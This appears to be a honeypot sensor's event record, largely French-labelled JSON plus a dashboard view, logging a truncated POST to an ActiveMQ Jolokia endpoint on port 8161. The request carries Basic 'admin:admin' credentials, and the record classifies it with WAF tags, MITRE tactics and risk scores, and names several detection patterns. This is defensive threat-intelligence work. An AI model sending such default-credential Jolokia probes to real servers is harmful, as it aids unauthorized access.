"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|
|
|
TCP |
8161 · HTTP
|
http
|
Sonde HTTP smuggling
http smuggling probe · via HTTP:8161 · (tentative d'exploit) · → /api/jolokia/
|
Élevée
|
Élevé · 77
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
POST /api/jolokia/ UA Mozilla/5.0
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950319:lfi-14
950403:ssrf-2
950406:ssrf-3
950407:ssrf-3
Cible HTTP
POST
/api/jolokia/
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8161
Chemin / cible
/api/jolokia/
Pourquoi cette classification : Motif SSRF · confiance 95%
Confiance classification
95%
Risque capteur
Élevé
· 77
Confiance : Confiance 95 % — Motif catalogue confirmé · 8 tag(s) WAF
Protocole émulé
1
Signaux
pat-0842
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
Cred Basic auth spray
LFI Double-dot bypass
Ligne de requête
POST /api/jolokia/ HTTP/1.1
User-Agent
Mozilla/5.0
Règles WAF
lfi-14
ssrf-2
ssrf-3
nosqli-3
k8s-api
Payload (extrait)
POST /api/jolokia/ HTTP/1.1
Accept-Encoding: identity
Content-Length: 212
Host: 62.3.50.33:8161
Content-Type: application/js
Requête brute (extrait)
POST /api/jolokia/ HTTP/1.1 Accept-Encoding: identity Content-Length: 212 Host: 62.3.50.33:8161 Content-Type: application/json Origin: http://62.3.50.33:8161 Connection: close User-Agent: Mozilla/5.0 Authorization: Basic YWRtaW46YWRtaW4= {"type"
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204a657474792f392e34204163746976654d512f352e31380d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2034390d0a0d0a3c68746d6c3e3c626f64793e417061636865204163746976654d5120436f6e",
"emulator_response_len": 146,
"http_header_count": 8,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "82aa6a482bd276cff149740478a603a5fe834840",
"http_host_hash": "66eb19834a7c23530413a6e482ea0316c4442029",
"http_target_hash": "2a44111495e58a342bdfbe6c7704d4d2a61c7ab4",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 461,
"payload_entropy": 5.385462635806404,
"port_category": "registered",
"org": "Nodestop LLC",
"service": "http",
"app_proto": "http",
"asn": 400536,
"country": "US",
"dst_port": 8161,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 4.3,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 77,
"tag_count": 14,
"anomaly_count": 0,
"campaign_key": "76acd9525fd2a74223d3ce4d0f313569f243054d",
"event_fingerprint": "d25d0e5c27488b8322bbfae9b19c64b7c1a33e47",
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 84,
"precision_signals": [
"pat-0842"
],
"kb_rule_ids": [
"pat-0842"
],
"matched_patterns": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"Cred Basic auth spray",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0463",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 400536,
"org": "Nodestop LLC",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "1066b48224bb188ceb955605f4fcff98",
"payload_hash": "9a186b7f3893d03e9a8b8ef631bdd9f5",
"path_pattern_hash": "fbd2c50c91d33f93fedb0bc479b36e4f"
},
"target_context": {
"dst_port": 8161,
"service": "http",
"service_name": "http",
"risk_score": 77
},
"payload_preview": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"evidence": {
"method": "POST",
"path": "\/api\/jolokia\/",
"user_agent": "Mozilla\/5.0",
"waf_tags": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"ssrf-2",
"ssrf-3",
"nosqli-3",
"k8s-api"
],
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"request_sample": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/json\r\nOrigin: http:\/\/62.3.50.33:8161\r\nConnection: close\r\nUser-Agent: Mozilla\/5.0\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\n{\"type\"",
"payload_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"classification_reason": "Motif SSRF \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"web_injection",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b6d2312abc6797153b3f0e6e4bba1726bac3016",
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Motif SSRF \u00b7 confiance 95%",
"classification_reason_label_fr": "Motif SSRF \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 77\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 95 % \u2014 via HTTP",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 77
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 77,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8161,
"protocol_emulated": true,
"tags_summary": [
"pat-0842"
],
"tags_summary_labels_fr": [
"pat-0842"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/api\/jolokia\/",
"request_line": "POST \/api\/jolokia\/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0",
"port": 8161,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "http smuggling probe \u00b7 via HTTP:8161 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/api\/jolokia\/",
"evidence_snippet": "POST \/api\/jolokia\/ HTTP\/1.1\r\nAccept-Encoding: identity\r\nContent-Length: 212\r\nHost: 62.3.50.33:8161\r\nContent-Type: application\/js",
"target_port_label": "8161 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8161"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950403:ssrf-2",
"950406:ssrf-3",
"950407:ssrf-3",
"950468:nosqli-3",
"950470:nosqli-3",
"950471:nosqli-3",
"950600:k8s-api",
"http_auth_header_token",
"http_basic_auth",
"http_jwt_body",
"http_probe_api",
"http_ssrf_body",
"net_web_probe"
]
}
|